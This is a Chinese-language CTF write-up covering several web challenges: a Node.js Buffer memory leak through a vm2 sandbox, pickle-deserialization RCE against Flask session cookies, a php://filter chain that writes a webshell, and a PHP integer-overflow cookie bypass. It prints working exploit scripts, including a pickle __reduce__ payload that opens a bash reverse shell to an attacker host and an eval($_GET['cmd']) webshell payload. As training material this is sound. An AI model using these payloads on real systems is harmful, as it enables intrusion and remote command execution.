[HITCON 2016]Leaking 
在较早一点的 node 版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。
也就是可以利用Buffer()来读取内存
 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 "use strict" ;var  randomstring = require ("randomstring" );var  express = require ("express" );var  {    VM } = require ("vm2" ); var  fs = require ("fs" );var  app = express();var  flag = require ("./config.js" ).flagapp.get("/" , function (req, res )  {     res.header("Content-Type" , "text/plain" );          eval ("var flag_"  + randomstring.generate(64 ) + " = \"hitcon{"  + flag + "}\";" )     if  (req.query.data && req.query.data.length <= 12 ) {         var  vm = new  VM({             timeout : 1000          });         console .log(req.query.data);         res.send("eval ->"  + vm.run(req.query.data));     } else  {         res.send(fs.readFileSync(__filename).toString());     } }); app.listen(3000 , function ( )  {     console .log("listening on port 3000!" ); }); 
 
审计源码可以知道定义和flag,但是flag变量名字未知,但是res.send("eval ->" + vm.run(req.query.data));使得我们可以执行任意代码
不过由于没怎么做过nodejs类型的题目,所以看了别的师傅的wp
可以知道这里利用nodejs沙箱逃逸进行任意代码执行
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import  requestsimport  timeurl = 'http://32ae46a5-a44c-452f-bf07-0b157261450b.node4.buuoj.cn:81/'  payload = "?data=Buffer(500)"  r = requests.get(url+payload) while  "flag"  not  in  r.text:    r = requests.get(url + payload)     print (r.status_code)     time.sleep(0.1 )     if  "flag{"  in  r.text:         print (r.text) 
 
[HFCTF 2021 Final]easyflask 
session伪造 
python序列化 __reduce__ 
 
Pickle的dumps和loads:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import  base64import  _pickleclass  User :    name: "admin"      is_admin: 0      pass  print (_pickle.dumps(User()))print (base64.b64encode(_pickle.dumps(User())))usr = _pickle.dumps(User()) print (_pickle.loads(usr))
 
__reduce__:
在用pickle的时候将该返回值进行序列化和反序列化(或许是这样,可能之后会进行修改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import  base64import  _pickleimport  osclass  User :    name: "admin"      is_admin: 0      def  __reduce__ (self ):         print ("你进行了反序列化" )         os.system("whoami" )         return  ""      pass  try :    print (_pickle.dumps(User()))     print (base64.b64encode(_pickle.dumps(User())))     usr = _pickle.dumps(User())     print (_pickle.loads(usr)) except :    print ("error" )  
 
 
获取到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import  osimport  picklefrom  base64 import  b64decodefrom  flask import  Flask, request, render_template, sessionapp = Flask(__name__) app.config["SECRET_KEY" ] = "*******"  User = type ('User' , (object ,), {     'uname' : 'test' ,     'is_admin' : 0 ,     '__repr__' : lambda  o: o.uname, }) @app.route('/' , methods=('GET' , ) ) def  index_handler ():    if  not  session.get('u' ):         u = pickle.dumps(User())         session['u' ] = u     return  "/file?file=index.js"  @app.route('/file' , methods=('GET' , ) ) def  file_handler ():    path = request.args.get('file' )     path = os.path.join('static' , path)     if  not  os.path.exists(path) or  os.path.isdir(path) \             or  '.py'  in  path or  '.sh'  in  path or  '..'  in  path or  "flag"  in  path:         return  'disallowed'      with  open (path, 'r' ) as  fp:         content = fp.read()     return  content @app.route('/admin' , methods=('GET' , ) ) def  admin_handler ():    try :         u = session.get('u' )         if  isinstance (u, dict ):             u = b64decode(u.get('b' ))         u = pickle.loads(u)     except  Exception:         return  'uhh?'      if  u.is_admin == 1 :         return  'welcome, admin'      else :         return  'who are you?'  if  __name__ == '__main__' :    app.run('0.0.0.0' , port=80 , debug=False ) 
 
1.熟悉的secret_key 加上flask框架直接用以前的脚本进行session伪造就好了
2.定义了一个User类,可知我们要伪造的内容为uname:admin is_admin:1
3.利用python的pickle的dumps和loads进行序列化和反序列化
所以可以利用__reduce__方法进行命令执行
exp:(最好在linux python2环境
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import  osimport  picklefrom  base64 import  b64encodeUser = type ('User' , (object ,), {     'uname' : 'test' ,     'is_admin' : 1 ,     '__repr__' : lambda  o: o.uname,     '__reduce__' : lambda  o: (os.system,("bash -c 'bash -i >& /dev/tcp/ip/7777 0>&1'" ,)) }) u = pickle.dumps(User()) print (b64encode(u).decode())
 
flask-session 伪造
根据形式将上面exp得到的内容放进去并利用密钥进行加密
最后抓包,访问/admin修改session,在vps上进行监听
就可以啦
[watevrCTF-2019]Pickle Store 
一看题目就能知道是python序列化和反序列化了,可以查看到session,进行base4解码之后是乱码,但是我们可以直接进行反序列化
1 2 3 import  _pickleprint (_pickle.loads(base64.b64decode('gAN9cQAoWAUAAABtb25leXEBTZABWAcAAABoaXN0b3J5cQJdcQNYFAAAAFl1bW15IHNtw7ZyZ8Olc2d1cmthcQRhWBAAAABhbnRpX3RhbXBlcl9obWFjcQVYIAAAADQ2NGZiNTE5ZWNjZDkwMDM3Y2E4MDczMTlkNDU3ODZkcQZ1Lg==' )))
 
可以猜测后端存在base64解码之后的反序列化,那么直接上exp:(上题的exp仍然适用 在linux python2中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import  osimport  picklefrom  base64 import  b64encodeUser = type ('User' , (object ,), {     'uname' : 'test' ,     'is_admin' : 1 ,     '__repr__' : lambda  o: o.uname,     '__reduce__' : lambda  o: (os.system,("bash -c 'bash -i >& /dev/tcp/ip/7777 0>&1'" ,)) }) u = pickle.dumps(User()) print (b64encode(u).decode())
 
在vps上监听,抓包
[WMCTF2020]Web Check in 2.0 
参考 
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16  <?php  error_reporting(0 ); $sandbox  = '/var/www/html/sandbox/'  . md5($_SERVER ['REMOTE_ADDR' ]);@mkdir($sandbox ); @chdir($sandbox );  var_dump("Sandbox:" .$sandbox );  highlight_file(__FILE__ ); if (isset ($_GET ['content' ])) {    $content  = $_GET ['content' ];     if (preg_match('/iconv|UCS|UTF|rot|quoted|base64/i' ,$content ))           die ('hacker' );     if (file_exists($content ))          require_once ($content );     file_put_contents($content ,'<?php exit();' .$content ); 
 
审计代码之后可以想到利用点在于file_put_contents($content,'<?php exit();'.$content);,之前做过类似的使用php://filter过滤器的base64,直接把前面的exit()绕过,但是这次base64被ban了,只能利用其他过滤器
php://filter 在这里可以找到可利用的
 
payload:
1 php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET['cmd']);?>/resource=a.php 
 
之后利用已知的路径去访问a.php,利用shell得到flag
[蓝帽杯 2021]One Pointer PHP(未学完) 给了源码:
add_api.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php include  "user.php" ;if ($user =unserialize($_COOKIE ["data" ])){	$count [++$user ->count]=1 ; 	if ($count []=1 ){ 		$user ->count+=1 ; 		setcookie("data" ,serialize($user )); 	}else { 		eval ($_GET ["backdoor" ]); 	} }else { 	$user =new  User; 	$user ->count=1 ; 	setcookie("data" ,serialize($user )); } ?> 
 
首先审计代码,可以知道我们要绕过if($count[]=1)
这里利用int溢出就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class  User  {	public  $count  = 9223372036854775806 ; } echo  urlencode(serialize(new  User()));
 
抓包修改cookie之后,get传backdoor,但是发现好多函数和类都被ban了,之后去参考别的师傅的wp,但是发现好多要学习的点(